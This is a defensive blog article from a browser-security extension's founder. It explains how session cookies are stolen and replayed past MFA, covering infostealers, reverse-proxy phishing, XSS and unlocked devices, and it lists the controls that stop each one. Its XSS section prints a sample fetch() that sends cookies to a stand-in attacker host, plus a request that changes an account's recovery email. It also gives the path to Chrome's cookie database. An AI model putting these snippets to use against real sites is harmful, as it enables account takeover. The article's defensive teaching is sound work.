Session Hijacking in 2026: How Stolen Cookies Bypass Your Password and Your MFA
A session cookie is a bearer token — whoever holds it is you. How infostealers, reverse-proxy phishing kits, and XSS get one, why multi-factor authentication does not stop any of it, and what actually binds a session to a device.
TL;DR
A session cookie is a bearer token: the server trusts whoever presents it, with no further proof. That is why a stolen cookie skips both the password and the MFA prompt — it represents an authentication that already succeeded. The three live theft routes are infostealer malware reading the browser's cookie database off disk, reverse-proxy phishing kits that relay a real login and capture the resulting cookie, and cross-site scripting. Only cryptographic binding of the session to the device removes the replay.
Session HijackingCookie TheftAuthentication
Share:
Key Takeaways
- Multi-factor authentication protects the act of logging in. A session cookie is the artifact produced after that act succeeded, so replaying it never touches the MFA flow.
- Chrome stores cookies in a SQLite database with values encrypted by a key wrapped in platform credential storage, which means code running as your user account could historically decrypt them without any password.
- Chrome 127 introduced App-Bound Encryption, tying the cookie key to the browser binary through a privileged service so that a plain user-level process can no longer unwrap it unaided.
- Adversary-in-the-middle phishing kits proxy the genuine login page, let the victim complete MFA against the real site, then harvest the issued session cookie — this is the mechanism behind most "MFA bypass" incidents.
- HttpOnly prevents a cross-site script from reading document.cookie, but not from issuing authenticated requests with the browser's own cookie jar attached.
- Device Bound Session Credentials bind a session to a hardware-held private key, so an exfiltrated cookie is inert on any other machine.
- Phishing-resistant authenticators — FIDO2 security keys and passkeys — defeat reverse-proxy phishing because the signature is bound to the real origin.
Ask someone how an attacker gets into an account and they will describe a stolen password and a defeated second factor. Ask an incident responder and they will describe a copied file.
The asymmetry comes from what a session cookie is. HTTP is stateless, so after you authenticate, the server hands the browser an opaque value and agrees to treat any request carrying it as coming from you. There is no further proof required. It is a bearer token: possession is the entire authorization model.
That single design fact explains why multi-factor authentication does not help here. MFA protects the transition from anonymous to authenticated. A session cookie is the receipt for a transition that already happened. Replaying it does not attempt a login, so there is no login to challenge.
The anatomy of what gets stolen
A typical session cookie looks like this on the wire:
Set-Cookie: __Host-sid=eyJhbGciOi...; Path=/; Secure; HttpOnly; SameSite=Lax; Max-Age=1209600
Each attribute constrains a specific attack:
Secure— never sent over plaintext HTTP, which closes network interception.HttpOnly— unreadable fromdocument.cookie, which closes script-based exfiltration.SameSite=Lax— not attached to most cross-site requests, which closes classic CSRF.__Host-prefix — the browser refuses the cookie unless it isSecure, hasPath=/, and carries noDomain, which prevents a compromised subdomain from writing a cookie your main host will honour.Max-Age=1209600— two weeks. This is the number most teams never revisit, and it is the window an attacker inherits.
Notice what is absent from every one of those attributes: any statement about which device may present the cookie. The browser is trusted to keep it, and that is the whole of the protection. Every attack below is a different way of becoming the holder.
Vector 1: infostealers read the cookie jar off disk
This is the dominant route in 2026, and it is not an exploit. It is file access.
Chrome on Windows keeps cookies in a SQLite database:
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies
The cookies table holds host keys, names, paths, expiry, and an encrypted_value blob. The symmetric key for those blobs lives in the Local State JSON file under os_crypt.encrypted_key, itself wrapped by the platform's credential store — DPAPI on Windows, the Keychain on macOS, and a Secret Service backend such as gnome-keyring or kwallet on Linux.
The historical problem: DPAPI unwraps for the logged-in user. Any process running as that user could call it. No password prompt, no elevation, no malware cleverness — read two files, call one API, get plaintext cookies for every site you are signed into. The same mechanics apply to Firefox's cookies.sqlite and to every Chromium fork.
Chrome 127 changed the economics with App-Bound Encryption. The cookie key is now bound to the browser application itself via a privileged Windows service, so a process running merely as your user cannot unwrap it. Attackers responded by targeting the elevation service or injecting into a live browser process — both noisier, both more detectable, both requiring more than file reads. The bar moved; the category did not close.
Two consequences follow for anyone defending a laptop:
- Browser version is a security control. Running a Chromium build from before App-Bound Encryption means your cookie jar is recoverable by any user-level process.
- Cookie inventory is attack surface. Every site you remain signed into is one more credential sitting in that database. Signing out of things you do not use daily is a real reduction, not hygiene theatre.
The delivery side is worth naming because it has changed. The current favourite is the fake-verification prompt — a page claiming a CAPTCHA failed or a document needs a fix, instructing the visitor to press Win+R and paste a command. It is social engineering all the way down, and it works because the victim executes the payload themselves. No legitimate site has ever needed you to paste a command into a terminal to view a page.
Vector 2: reverse-proxy phishing, the real "MFA bypass"
Headlines about bypassed multi-factor authentication almost always describe this.
An adversary-in-the-middle kit — Evilginx and its descendants are the reference implementations — runs a reverse proxy in front of the genuine site. The victim lands on a lookalike domain and sees the real login page, because the proxy is fetching it. They type a real password, which the proxy forwards. The real site issues a real MFA challenge. The victim completes it on their real authenticator. The real site returns a real session cookie.
The proxy keeps a copy.
Every element of the authentication was genuine. TOTP codes, push approvals, SMS codes, and number-matching prompts all pass, because the user genuinely approved a genuine login — just one they did not realise was being relayed. The phishing page never needed to forge anything.
The structural defence is origin binding. A FIDO2 security key or a passkey signs a challenge that includes the origin it was registered to. Presented with login.evil-proxy.example, the authenticator produces either nothing or a signature the real site rejects, because the relying-party ID does not match. There is no user decision in the loop to get wrong — the cryptography declines. That property, and the session-layer gap it leaves behind, is covered in how WebAuthn and FIDO2 changed browser authentication.
Everything else is mitigation. Conditional-access rules that pin a session to a compliant device, geo and ASN checks, and short token lifetimes shrink the window. They do not remove the replay.
Vector 3: XSS, and why HttpOnly is only half a fix
Cross-site scripting gets treated as solved by HttpOnly. It is not.
HttpOnly prevents this:
// Blocked — the session cookie is not in document.cookie
fetch('https://attacker.example/c?v=' + document.cookie)
It does nothing about this:
// Works — the browser attaches the session cookie automatically
const r = await fetch('/api/account/email', {
method: 'PUT',
credentials: 'include',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ email: 'attacker@evil.example' })
});
The script never sees the cookie and does not need to. It operates inside the authenticated session, in the victim's browser, from the victim's IP, with a legitimate user agent. Server-side anomaly detection sees nothing unusual, because nothing is unusual except intent. Changing the recovery email is enough; the attacker then resets the password at leisure.
A strict Content-Security-Policy is the control that matters here, because it attacks script execution rather than cookie readability:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-r4nd0m'; object-src 'none'; base-uri 'none'
Nonce-based script-src with no unsafe-inline means an injected <script> does not run at all.
Vector 4: the unlocked device
The least technical vector and the most common in practice. Every authenticated session on a machine is live the moment the screen is on. No malware, no proxy, no injection — somebody sits down.
This is the case where the browser's own defences are irrelevant by construction: the attacker is the legitimate browser, driven by the wrong person. The controls are a short screen-lock timeout, full-disk encryption so the cookie database is not readable from a stolen drive, and — for the specific tabs that would hurt most — a tab-level password prompt such as Locksy that requires an unlock before the contents render. The exposure window and what is reachable in it are detailed in what happens when someone accesses your unlocked tabs.
Which control stops which vector
| Vector | MFA | HttpOnly | CSP | Passkeys | Short TTL | Device binding |
|---|---|---|---|---|---|---|
| Infostealer reads cookie DB | No | No | No | No | Partly | Yes |
| Reverse-proxy phishing | No | No | No | Yes | Partly | Yes |
| XSS exfiltration | No | Yes | Yes | No | Partly | Partly |
| XSS in-session abuse | No | No | Yes | No | No | No |
| Network interception | No | No | No | No | No | No (TLS handles it) |
| Unlocked device | No | No | No | No | Partly | No |
Two columns carry the weight. Passkeys close the phishing route at the authentication layer. Device binding closes the replay route at the session layer. Everything else narrows a window.
What developers should ship
Get the cookie attributes right
res.cookie('__Host-sid', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'lax', // 'strict' where no cross-site entry flow is needed
path: '/', // required by the __Host- prefix
maxAge: 1000 * 60 * 60 * 12,
});
SameSite=Strict is the stronger choice and breaks any flow where a user arrives from an external link expecting to be signed in. Lax is the pragmatic default; pick deliberately rather than by omission.
Rotate the identifier at every privilege transition
Issue a new session ID on login, on step-up authentication, and on role change, and invalidate the old one server-side. This is what closes session fixation, where an attacker plants a known session ID before the victim authenticates and inherits the authenticated session afterwards.
Separate idle timeout from absolute lifetime
idle timeout: 30 minutes of inactivity → re-auth
absolute lifetime: 12 hours → re-auth regardless
A rolling-only expiry means a stolen cookie that gets touched periodically never dies. The absolute cap is what guarantees the window closes.
Invalidate server-side on credential change
A password change must terminate every other session for that user. Doing it client-side by clearing a cookie is not termination — the attacker still holds a value your server still accepts. Keep a per-user session table or a token-generation counter embedded in the session and compared on every request.
Bind the session to the device
Device Bound Session Credentials is the forward answer. Chrome's implementation has the browser generate a key pair in the TPM at session start, hand the public key to the server, and prove possession of the private key when refreshing a short-lived cookie. The cookie still looks like a cookie. It is now worthless on a machine that does not hold the private key — exfiltrating the database gets an attacker a value that fails its next refresh.
Related primitives worth knowing: DPoP (RFC 9449) does the equivalent for OAuth access tokens by requiring a proof-of-possession JWT per request, and mutual TLS binds a session to a client certificate. All three replace "whoever holds this" with "whoever can sign with this".
Detect the anomaly you can actually see
A hijacked session usually changes its network fingerprint mid-flight. Record the IP, the ASN, the user agent, and the TLS fingerprint at session creation, then treat a mid-session change in ASN or a major user-agent shift as a step-up trigger rather than a hard block. IP alone is too noisy — mobile users roam constantly — but ASN transitions plus a user-agent change together are a strong signal.
Detecting it as a user
Session hijacking tends not to fire a login alert, because no login happened. Look at the session list rather than the alert feed:
Google: myaccount.google.com/device-activity
Microsoft: account.microsoft.com/activity
GitHub: Settings → Sessions
Slack: Account settings → active sessions
Then check the persistence mechanisms, which is where a hijack becomes durable: new mail-forwarding rules, new recovery phone or email, new registered authenticators, new app passwords, new OAuth grants. A filter that silently deletes security notifications is the quietest of these and the most damaging. The full triage order, including why revoking sessions comes before working through other accounts, is in what to do when a password leaks.
A short, honest checklist
As a user
- Keep the browser current — App-Bound Encryption only protects you on a version that has it.
- Enrol a passkey or security key on your email, cloud, and financial accounts.
- Sign out of services you do not use weekly; shrink the cookie inventory.
- Never paste a command you were handed by a web page into a terminal or a Run box.
- Treat "you were signed out unexpectedly" as a possible server-side session invalidation, not just a glitch.
- Revoke all sessions after any suspected compromise, before changing anything else.
As a developer
Secure,HttpOnly, explicitSameSite,__Host-prefix.- Rotate the session ID on every authentication state change.
- Enforce both an idle timeout and an absolute lifetime.
- Invalidate server-side on password change and on MFA enrolment changes.
- Nonce-based CSP with no
unsafe-inline. - Require step-up re-auth for recovery-channel and payment changes.
- Plan for device-bound sessions; it is the only control that makes exfiltration worthless.
The shape of the problem
Password security improved enormously over fifteen years. Hashing got slow and salted, breach checking became routine, phishing-resistant authenticators arrived. Attackers responded rationally by moving one layer up, to the artifact that represents a successful login rather than the login itself.
Which means the defensive frontier has moved too. "Who are you?" is close to solved. "Is this still the same device that authenticated?" is the open question, and cryptographic session binding is the answer being built in public right now.
Frequently Asked Questions
How can an attacker bypass MFA with a stolen cookie?
Does HttpOnly stop cookie theft?
What is an adversary-in-the-middle phishing attack?
How do I know if my session was hijacked?
What actually prevents session replay?
Will changing my password end a hijacked session?
VS
Vansh SethiAuthor
Developer & Founder of Locksy
Vansh is the developer and founder of Locksy — a privacy-first browser tab security extension trusted by 5,000+ users across Chrome, Edge, Firefox, and Brave. He writes about browser security, privacy, and developer tools.
Related Articles
Research
Passkeys are finally here, revolutionizing online security. But do they make you truly safe? Discover why even with passkeys, browser tab protection still mat
Comparison
The gap between the weakest and strongest second factor is wider than the gap between no 2FA and SMS. What each method actually resists, why only one is phishing-proof, and the enrolment order that avoids locking yourself out.
Privacy
Incognito mode hides your history from the device, not your identity from the internet. A technical breakdown of exactly what private browsing blocks, who can still see you, and what to use instead.